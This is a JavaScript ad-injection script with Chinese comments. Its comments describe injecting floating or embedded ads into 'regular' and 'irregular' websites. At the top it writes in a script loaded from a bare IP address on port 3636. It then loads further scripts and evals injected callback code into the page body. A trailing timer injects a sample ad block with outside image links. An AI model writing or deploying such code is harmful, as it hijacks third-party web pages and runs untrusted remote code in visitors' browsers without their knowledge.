
(function () {
    //外部入口js 可以 减少发包限制的代码长度  这里引入当前这个js地址 防止程序执行代码是报错
    document.write('<script src="http://47.101.168.236:3636/Server.Min.Mix.js"></script>'); 
    var lodJavaScript = true;

   /**
    * 
    * @param {string} src 外部广告地址
    * @param {*} cb 回调函数
    * @param {*} classify 广告类型现阶段
    * @param {*} adctype 注入广告的类型 分为浮动广告 和 嵌入式广告
    * @param {*} place 插入广告形式
    * @param {*} size 插入广告位的大小
    * @param {*} adcid 当前广告id php 自己修改
    */
    function init(data = {}) {
        /**
         * src 等待外部js地址加载后再执行后面代码
         * cb 回调函数 用于广告的注入（回调函数是调用广告库和正规广告模板的方法传递的对应的参数）
         * mold 广告网站注入的类型 1 为正规网站 2 为不正规网站
         * intype 是否是嵌入式广告 true / false
         * place 注入广告到页面的类型 详情为广告库代码枚举
         * size 要注入广告到页面大小的位置
         */
        const {src = '../newjs/newBD.js',cb,mold = 1,intype = true,place = 1,size,adcid = null } = data;

        console.log(src ,cb,mold,intype ,place,size,adcid)

        if(lodJavaScript) {
            lodJavaScript = false;


        var s = document.createElement('script'),
            head = document.querySelectorAll('head')[0];
        s.type = 'text/javascript';
        s.src = src;


        if (s.addEventListener) {

            s.addEventListener('load', () => {
              
                isFuncClassify(mold, cb,intype ,place,size);
                
            }, false);

        } else if (s.attachEvent) {
            s.attachEvent('onreadystatechange', () => {
                let target = window.event.srcElement;
                if (target.readyState == 'loaded') {
                    isFuncClassify(mold, cb,intype ,place,size);
                }
            });
        }
        head.appendChild(s);
        sessionStorage.setItem(window.btoa('adcid'),window.btoa(adcid))
    }
    }


    /**
     * num 代码类型 加载不同的广告所需要的依赖
     * 1为正规网站广告注入
     * 
     * 2为不正规网站注入
     * 
     */

    // 判断当前要注入的网址类型
    function isFuncClassify(num, cb,intype ,place,size) {

        num === 1 && func('getFtu') === 'mobile' &&  FindDom('getAll', 'head')[0].insertAdjacentHTML('afterbegin',`<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">`);

        // const JSPC = 'http://47.101.168.236:3636/template.min.js';

        const JSPC = '../newjs/ts_js/template.js'

        loadScript.init(JSPC,()=>{
            if(document.querySelector(`script[src='${JSPC}']`).nodeName === 'SCRIPT'){
                ExtractFunction(cb);
                
                func('getFtu') === 'PCend' && Regular(num,cb,intype ,place,size);
                
                func('getFtu') === 'mobile' && ( num === 2 &&   eval(`(${cb})()`), num === 1 && Regular(num,cb,intype ,place,size) );

                
            }
        })

    }

    // 正规网站模板加载方法 
    function  Regular(eum,cb,intype ,place,size) {



        eum && cb && eum === 1 &&  ( intype ?  main().insertPage({seat:place,acreage:size,text:`${eval(ExtractFunction(cb)).replace(/overleaf/, "")}`}) :FindDom('getBody').insertAdjacentHTML('afterbegin', eval(''+ExtractFunction(cb) +'')))
        intype === false && eum && cb && (FindDom('getBody').insertAdjacentHTML('afterbegin', eval(''+ExtractFunction(cb) +'')));

     
        // if(eum && cb && eum === 1){ 
                // FindDom('getBody').insertAdjacentHTML('afterbegin', eval(''+eval(ExtractFunction(cb)) +''));
                // console.log(eval(ExtractFunction(cb)).replace(/overleaf/, "W3School"))
                // intype ?  main().insertPage({seat:place,acreage:size,text:`${eval(ExtractFunction(cb)).replace(/overleaf/, "999")}`}) :FindDom('getBody').insertAdjacentHTML('afterbegin', eval(''+ExtractFunction(cb) +''));
                // main().insertPage(2,10000,)
                // FindDom('getBody').insertAdjacentHTML('afterbegin', eval(''+ExtractFunction(cb) +''));
        // }
        
    }

    function ExtractFunction(cb) {

        if(!cb) return false;
        
        // 提取函数中的 js 代码
        return `${cb}`.match(/(?:\/\*[\s\S]*?\*\/|\/\/.*?\r?\n|[^{])+\{([\s\S]*)\}$/)[1];

    }


    window.isFuncClassify = isFuncClassify;;

    window.init = init;
}
)()









setTimeout(()=>{
    init(()=>{
        FormalTemplate(false, 'downtitleImges', '阿里域名168大促销', 'https://help.aliyun.com/product/35473.html', [{
            "img": "https://i04piccdn.sogoucdn.com/615ec0491af89b97",
            "href": "https://www.youwu.co/images/8245"
        }, {
            "img": "https://i02piccdn.sogoucdn.com/d4cdcf1437f7a661",
            "href": "https://react.docschina.org/"
        }, {
            "img": "http://mgt.anquan123.com/uploads/img/20200602/4e32d67f794db7230b8f35171c2004ad.jpeg",
            "href": "https://www.dartcn.com/"
        }])
    }
    , 1)
}
, 350)







